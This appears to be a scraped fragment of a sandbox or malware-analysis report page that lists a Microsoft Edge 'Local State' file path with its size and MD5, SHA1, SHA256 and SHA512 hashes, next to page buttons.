8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
8KB

MD5
ba9ca700c587e1f82e2b1a4553e57475

SHA1
f2d7c449612783167ee4512da49b6d8e694c3c94

SHA256
432f95d9d75bc0d8d66d5ebf8c787344b63d812adb45ccdcc4ee9bf2a5045a31

SHA512
9d7586a46178742fbaf89f9d72b1f418f976b223d3dc770a86e65c5c740a7ea7aef1bb1d26765e7d8f45f8e557596f359b1142e2740028dbc45c3fdac268d1cb

Download Submit